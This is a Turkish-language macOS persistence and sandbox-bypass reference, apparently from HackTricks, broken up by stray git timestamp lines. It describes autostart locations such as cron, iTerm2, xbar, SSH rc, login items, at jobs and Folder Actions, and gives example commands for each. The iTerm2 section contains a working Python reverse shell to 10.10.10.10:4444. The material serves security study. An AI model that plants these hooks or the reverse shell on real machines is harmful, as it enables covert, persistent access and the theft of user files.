The root user one is stored in ** `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` **
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
## Koşullu Sandbox Atlama
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-09-21 18:25:13 +00:00
Burada, **sandbox atlama** için yararlı başlangı ç yerlerini bulabilirsiniz; bu, bir şeyi **bir dosyaya yazarak** ve belirli **programları n yüklü olması , "olağandı şı " kullanı cı ** eylemleri veya ortamlar gibi **çok yaygı n olmayan koşulları ** bekleyerek basitçe çalı ştı rmanı za olanak tanı r.
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Cron
2024-09-21 18:25:13 +00:00
**Yazı **: [https://theevilbit.github.io/beyond/beyond\_0004/ ](https://theevilbit.github.io/beyond/beyond\_0004/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlamak için yararlı dı r: [✅ ](https://emojipedia.org/check-mark-button )
* Ancak, `crontab` ikili dosyası nı çalı ştı rabilmeniz gerekir
* Ya da root olmalı sı nı z
* TCC atlama: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs` , `/private/var/at/jobs` , `/etc/periodic/` **
2024-09-21 18:25:13 +00:00
* Doğrudan yazma erişimi için root gereklidir. `crontab <file>` çalı ştı rabiliyorsanı z root gerekmez
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Cron işine bağlı dı r
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
**Geçerli kullanı cı ** için cron işlerini listeleyin:
2023-06-01 21:09:46 +00:00
```bash
crontab -l
```
2024-09-21 18:25:13 +00:00
Kullanı cı ları n tüm cron görevlerini ** `/usr/lib/cron/tabs/` ** ve ** `/var/at/tabs/` ** içinde görebilirsiniz (root gerektirir).
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
MacOS'ta **belirli bir sı klı kla** scriptleri çalı ştı ran birkaç klasör bulunmaktadı r:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
# The one with the cron jobs is /usr/lib/cron/tabs/
2023-06-01 21:09:46 +00:00
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
2024-09-21 18:25:13 +00:00
Orada düzenli **cron** **görevlerini** , **at** **görevlerini** (çok fazla kullanı lmayan) ve **periyodik** **görevleri** (esas olarak geçici dosyaları temizlemek için kullanı lan) bulabilirsiniz. Günlük periyodik görevler, örneğin `periodic daily` ile çalı ştı rı labilir.
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Bir **kullanı cı cronjob'unu programatik olarak** eklemek için şunu kullanabilirsiniz:
2023-09-28 15:09:34 +00:00
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```
2023-09-28 20:05:35 +00:00
### iTerm2
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/ ](https://theevilbit.github.io/beyond/beyond\_0002/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:13 +00:00
* iTerm2, TCC izinleri verilmiş olarak kullanı lı yordu
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Locations
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: iTerm'i aç
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: iTerm'i aç
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: iTerm'i aç
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
#### Description & Exploitation
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** içinde saklanan betikler çalı ştı rı lacaktı r. Örneğin:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" < < EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
2024-09-21 18:25:13 +00:00
veya:
2023-11-02 16:52:21 +00:00
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" < < EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
2024-02-10 18:14:16 +00:00
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
2023-11-02 16:52:21 +00:00
iterm2.run_forever(main)
EOF
```
2024-09-21 18:25:13 +00:00
**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** betiği de çalı ştı rı lacaktı r:
2023-09-28 20:05:35 +00:00
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
2024-09-21 18:25:13 +00:00
iTerm2 tercihleri ** `~/Library/Preferences/com.googlecode.iterm2.plist` ** içinde **çalı ştı rı lacak bir komut belirtebilir** iTerm2 terminali açı ldı ğı nda.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Bu ayar iTerm2 ayarları nda yapı landı rı labilir:
2023-09-28 20:05:35 +00:00
2024-05-05 22:43:52 +00:00
< figure > < img src = "../.gitbook/assets/image (37).png" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Ve komut tercihlerde yansı tı lı r:
2023-09-28 20:05:35 +00:00
```bash
plutil -p com.googlecode.iterm2.plist
{
2024-02-10 18:14:16 +00:00
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
2023-09-28 15:09:34 +00:00
```
2024-09-21 18:25:13 +00:00
Türkçe çeviri:
Komutu çalı ştı rmak için ayarlayabilirsiniz:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
2023-09-28 15:09:34 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="warning" %}
2024-09-21 18:25:13 +00:00
iTerm2 ayarları nı kötüye kullanmanı n **başka yolları nı n** olma olası lı ğı yüksektir.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### xbar
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0007/ ](https://theevilbit.github.io/beyond/beyond\_0007/ )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak xbar'ı n kurulu olması gerekir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:13 +00:00
* Erişilebilirlik izinleri talep eder
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application\ Support/xbar/plugins/`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: xbar çalı ştı rı ldı ğı nda
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-12-29 13:55:22 +00:00
2024-09-21 18:25:13 +00:00
Eğer popüler program [**xbar** ](https://github.com/matryer/xbar ) kuruluysa, ** `~/Library/Application\ Support/xbar/plugins/` ** dizininde bir shell script yazmak mümkündür; bu script xbar başlatı ldı ğı nda çalı ştı rı lacaktı r:
2023-12-29 13:55:22 +00:00
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" < < EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
2023-09-28 20:05:35 +00:00
### Hammerspoon
2024-09-21 18:25:13 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/ ](https://theevilbit.github.io/beyond/beyond\_0008/ )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak Hammerspoon'un kurulmuş olması gerekir
2024-02-13 00:51:21 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:13 +00:00
* Erişim izinleri talep eder
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
#### Location
2023-09-28 20:05:35 +00:00
* **`~/.hammerspoon/init.lua`**
2024-09-21 18:25:13 +00:00
* **Trigger**: Hammerspoon çalı ştı rı ldı ğı nda
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Description
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
[**Hammerspoon** ](https://github.com/Hammerspoon/hammerspoon ), **macOS** için bir otomasyon platformu olarak hizmet vermekte olup, işlemleri için **LUA betik dili** kullanmaktadı r. Özellikle, tam AppleScript kodunun entegrasyonunu ve kabuk betiklerinin yürütülmesini destekleyerek betik yeteneklerini önemli ölçüde artı rmaktadı r.
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Uygulama, tek bir dosya olan `~/.hammerspoon/init.lua` 'yı arar ve başlatı ldı ğı nda betik yürütülecektir.
2023-09-28 20:05:35 +00:00
```bash
2023-12-29 13:55:22 +00:00
mkdir -p "$HOME/.hammerspoon"
2023-09-28 20:05:35 +00:00
cat > "$HOME/.hammerspoon/init.lua" < < EOF
2023-12-29 13:55:22 +00:00
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
2023-09-28 20:05:35 +00:00
EOF
```
2024-02-13 00:51:21 +00:00
### BetterTouchTool
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [✅ ](https://emojipedia.org/check-mark-button )
* Ancak BetterTouchTool'un kurulmuş olması gerekir
2024-03-17 16:37:08 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:13 +00:00
* Otomasyon-Kı sayolları ve Erişilebilirlik izinleri talep eder
2024-02-13 00:51:21 +00:00
#### Konum
* `~/Library/Application Support/BetterTouchTool/*`
2024-09-21 18:25:13 +00:00
Bu araç, bazı kı sayollar bası ldı ğı nda çalı ştı rı lacak uygulamaları veya betikleri belirtmeye olanak tanı r. Bir saldı rgan, **veritabanı nda çalı ştı rı lacak kendi kı sayolunu ve eylemini yapı landı rabilir** ve rastgele kod çalı ştı rabilir (bir kı sayol, sadece bir tuşa basmak olabilir).
2024-02-13 00:51:21 +00:00
### Alfred
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [✅ ](https://emojipedia.org/check-mark-button )
* Ancak Alfred'in kurulmuş olması gerekir
2024-03-17 16:37:08 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:13 +00:00
* Otomasyon, Erişilebilirlik ve hatta Tam Disk erişim izinleri talep eder
2024-02-13 00:51:21 +00:00
#### Konum
* `???`
2024-09-21 18:25:13 +00:00
Belirli koşullar sağlandı ğı nda kod çalı ştı rabilen iş akı şları oluşturmayı sağlar. Potansiyel olarak, bir saldı rgan bir iş akı şı dosyası oluşturup Alfred'in bunu yüklemesini sağlayabilir (iş akı şları nı kullanmak için premium sürüm satı n almak gerekir).
2024-02-13 00:51:21 +00:00
2023-09-28 15:09:34 +00:00
### SSHRC
2024-09-21 18:25:13 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0006/ ](https://theevilbit.github.io/beyond/beyond\_0006/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [✅ ](https://emojipedia.org/check-mark-button )
* Ancak ssh'nin etkinleştirilmesi ve kullanı lması gerekir
2024-03-17 16:37:08 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:13 +00:00
* SSH, FDA erişimine sahip olmalı dı r
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`~/.ssh/rc`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: ssh ile giriş
2023-09-28 15:09:34 +00:00
* **`/etc/ssh/sshrc`**
2024-02-13 00:51:21 +00:00
* Root gereklidir
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: ssh ile giriş
2023-09-28 15:09:34 +00:00
2023-12-29 13:55:22 +00:00
{% hint style="danger" %}
2024-09-21 18:25:13 +00:00
ssh'yi açmak için Tam Disk Erişimi gereklidir:
2023-09-28 15:09:34 +00:00
```bash
2023-12-29 13:55:22 +00:00
sudo systemsetup -setremotelogin on
2023-09-28 15:09:34 +00:00
```
2023-12-29 13:55:22 +00:00
{% endhint %}
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-12-29 13:55:22 +00:00
2024-09-21 18:25:13 +00:00
Varsayı lan olarak, `/etc/ssh/sshd_config` dosyası nda `PermitUserRC no` yoksa, bir kullanı cı **SSH ile giriş yaptı ğı nda** ** `/etc/ssh/sshrc` ** ve ** `~/.ssh/rc` ** dosyaları çalı ştı rı lacaktı r.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
### **Giriş Öğeleri**
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0003/ ](https://theevilbit.github.io/beyond/beyond\_0003/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [✅ ](https://emojipedia.org/check-mark-button )
* Ancak `osascript` 'i argümanlarla çalı ştı rmanı z gerekir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici:** Giriş
* Sömürü yükü ** `osascript` ** çağrı sı ile saklanı r
2023-09-28 20:05:35 +00:00
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici:** Giriş
2024-07-18 17:54:59 +00:00
* Root gereklidir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Sistem Tercihleri -> Kullanı cı lar & Gruplar -> **Giriş Öğeleri** bölümünde **kullanı cı giriş yaptı ğı nda çalı ştı rı lacak öğeleri** bulabilirsiniz.\
Onları listelemek, eklemek ve komut satı rı ndan kaldı rmak mümkündür:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
2024-02-10 18:14:16 +00:00
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
2023-09-28 20:05:35 +00:00
#Remove an item:
2024-02-10 18:14:16 +00:00
osascript -e 'tell application "System Events" to delete login item "itemname"'
2023-09-28 15:09:34 +00:00
```
2024-05-05 22:43:52 +00:00
Bu öğeler ** `~/Library/Application Support/com.apple.backgroundtaskmanagementagent` ** dosyası nda saklanı r.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
**Giriş öğeleri** ayrı ca ** `/var/db/com.apple.xpc.launchd/loginitems.501.plist` ** dosyası nda yapı landı rmayı saklayacak olan [SMLoginItemSetEnabled ](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc ) API'si kullanı larak da belirtilebilir.
2023-09-28 15:09:34 +00:00
2024-07-18 17:54:59 +00:00
### ZIP olarak Giriş Öğesi
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
(Giriş Öğeleri hakkı nda önceki bölümü kontrol edin, bu bir uzantı dı r)
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Bir **ZIP** dosyası nı **Giriş Öğesi** olarak saklarsanı z, ** `Archive Utility` ** bunu açacaktı r ve eğer zip örneğin ** `~/Library` ** içinde saklanmı şsa ve ** `LaunchAgents/file.plist` ** adlı bir klasör içeriyorsa, bu klasör oluşturulacaktı r (varsayı lan olarak yoktur) ve plist eklenecektir, böylece kullanı cı bir sonraki oturum açtı ğı nda, **plist'te belirtilen arka kapı çalı ştı rı lacaktı r** .
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Diğer bir seçenek, kullanı cı HOME dizininde ** `.bash_profile` ** ve ** `.zshenv` ** dosyaları nı oluşturmaktı r, böylece LaunchAgents klasörü zaten mevcutsa bu teknik yine de çalı şacaktı r.
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### At
2023-09-28 15:09:34 +00:00
2024-07-18 17:54:59 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0014/ ](https://theevilbit.github.io/beyond/beyond\_0014/ )
2023-12-30 00:49:26 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlamak için faydalı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak ** `at` ** komutunu **çalı ştı rmanı z** ve **etkinleştirilmiş** olması gerekir.
2024-07-17 18:36:54 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* **`at`** komutunu **çalı ştı rmanı z** ve **etkinleştirilmiş** olması gerekir.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### **Açı klama**
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
`at` görevleri, belirli zamanlarda **bir kerelik görevleri planlamak** için tasarlanmı ştı r. Cron görevlerinin aksine, `at` görevleri yürütüldükten sonra otomatik olarak kaldı rı lı r. Bu görevlerin sistem yeniden başlatmaları nda kalı cı olduğunu belirtmek önemlidir, bu da belirli koşullar altı nda potansiyel güvenlik endişeleri olarak işaretlenmelerine neden olur.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
**Varsayı lan olarak** **devre dı şı dı rlar** ancak **root** kullanı cı sı bunları **etkinleştirebilir** :
2023-09-28 20:05:35 +00:00
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
2024-09-21 18:25:13 +00:00
Bu, 1 saat içinde bir dosya oluşturacaktı r:
2023-09-28 20:05:35 +00:00
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
2024-09-21 18:25:13 +00:00
`atq` kullanarak iş kuyruğunu kontrol edin:
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
2024-09-21 18:25:13 +00:00
Yukarı da iki planlanmı ş iş görebiliriz. İşin detayları nı `at -c JOBNUMBER` komutunu kullanarak yazdı rabiliriz.
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
2024-02-10 18:14:16 +00:00
echo 'Execution directory inaccessible' >& 2
exit 1
2023-09-28 20:05:35 +00:00
}
unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
2024-09-21 18:25:13 +00:00
Eğer AT görevleri etkinleştirilmemişse, oluşturulan görevler çalı ştı rı lmayacaktı r.
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-09-21 18:25:13 +00:00
**iş dosyaları ** `/private/var/at/jobs/` konumunda bulunabilir.
2023-09-28 20:05:35 +00:00
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
2024-09-21 18:25:13 +00:00
The filename contains the queue, the job number, and the time it’ s scheduled to run. For example let’ s take a loot at `a0001a019bdcd2` .
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
* `a` - bu kuyruktur
2024-09-21 18:25:13 +00:00
* `0001a` - iş numarası hex formatı nda, `0x1a = 26`
* `019bdcd2` - zaman hex formatı nda. Epoch'tan itibaren geçen dakikaları temsil eder. `0x019bdcd2` ondalı k olarak `26991826` 'dı r. Bunu 60 ile çarptı ğı mı zda `1619509560` elde ederiz, bu da `GMT: 2021. Nisan 27., Salı 7:46:00` 'dı r.
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Eğer iş dosyası nı yazdı rı rsak, `at -c` kullanarak elde ettiğimiz aynı bilgileri içerdiğini buluruz.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
### Folder Actions
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/ ](https://theevilbit.github.io/beyond/beyond\_0024/ )\
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d ](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için faydalı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak, Folder Actions'ı yapı landı rmak için ** `System Events` ** ile iletişim kurmak üzere argümanlarla `osascript` çağı rabilmeniz gerekir.
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-09-21 18:25:13 +00:00
* Masaüstü, Belgeler ve İndirilenler gibi bazı temel TCC izinlerine sahiptir.
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
#### Location
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/Library/Scripts/Folder Action Scripts`**
2024-09-21 18:25:13 +00:00
* Root gereklidir
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Belirtilen klasöre erişim
2023-09-28 20:05:35 +00:00
* **`~/Library/Scripts/Folder Action Scripts`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Belirtilen klasöre erişim
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Description & Exploitation
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Folder Actions, bir klasördeki değişiklikler (öğeleri ekleme, kaldı rma veya klasör penceresini açma veya boyutlandı rma gibi diğer eylemler) tarafı ndan otomatik olarak tetiklenen betiklerdir. Bu eylemler çeşitli görevler için kullanı labilir ve Finder UI veya terminal komutları gibi farklı yollarla tetiklenebilir.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Folder Actions'ı ayarlamak için şu seçenekleriniz vardı r:
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
1. [Automator ](https://support.apple.com/guide/automator/welcome/mac ) ile bir Folder Action iş akı şı oluşturmak ve bunu bir hizmet olarak yüklemek.
2. Bir klasörün bağlam menüsündeki Folder Actions Ayarı aracı lı ğı yla bir betiği manuel olarak eklemek.
3. `System Events.app` 'e Apple Event mesajları göndermek için OSAScript kullanarak programatik olarak bir Folder Action ayarlamak.
* Bu yöntem, eylemi sisteme entegre etmek için özellikle faydalı dı r ve bir düzeyde kalı cı lı k sunar.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Aşağı daki betik, bir Folder Action tarafı ndan yürütülebilecek bir örnektir:
2023-09-28 15:09:34 +00:00
```applescript
2024-02-07 04:06:18 +00:00
// source.js
2023-09-28 15:09:34 +00:00
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
2024-09-21 18:25:13 +00:00
Folder Actions tarafı ndan kullanı labilir hale getirmek için yukarı daki script'i şu şekilde derleyin:
2024-02-07 04:06:18 +00:00
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
2024-09-21 18:25:13 +00:00
Aşağı daki script çalı ştı rı larak Klasör Eylemleri ayarlayı n. Bu script, Klasör Eylemlerini genel olarak etkinleştirecek ve daha önce derlenmiş scripti Masaüstü klasörüne özel olarak bağlayacaktı r.
2023-09-28 15:09:34 +00:00
```javascript
2024-02-07 04:06:18 +00:00
// Enabling and attaching Folder Action
2023-09-28 15:09:34 +00:00
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
2024-09-21 18:25:13 +00:00
Kurulum betiğini şu şekilde çalı ştı rı n:
2024-02-07 04:06:18 +00:00
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
2024-09-21 18:25:13 +00:00
* Bu, bu kalı cı lı ğı GUI aracı lı ğı yla uygulamanı n yoludur:
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Bu, çalı ştı rı lacak olan betiktir:
2023-09-28 15:09:34 +00:00
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
2024-09-21 18:25:13 +00:00
Bunu ile derleyin: `osacompile -l JavaScript -o folder.scpt source.js`
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Bunu taşı yı n:
2023-09-28 15:09:34 +00:00
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
2024-09-21 18:25:13 +00:00
Sonra, `Folder Actions Setup` uygulaması nı açı n, **izlemek istediğiniz klasörü** seçin ve sizin durumunuzda ** `folder.scpt` **'yi seçin (benim durumumda buna output2.scp dedim):
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
< figure > < img src = "../.gitbook/assets/image (39).png" alt = "" width = "297" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Artı k, bu klasörü **Finder** ile açtı ğı nı zda, scriptiniz çalı ştı rı lacaktı r.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Bu yapı landı rma, **base64 formatı nda** ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` ** konumundaki **plist** dosyası nda saklandı .
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
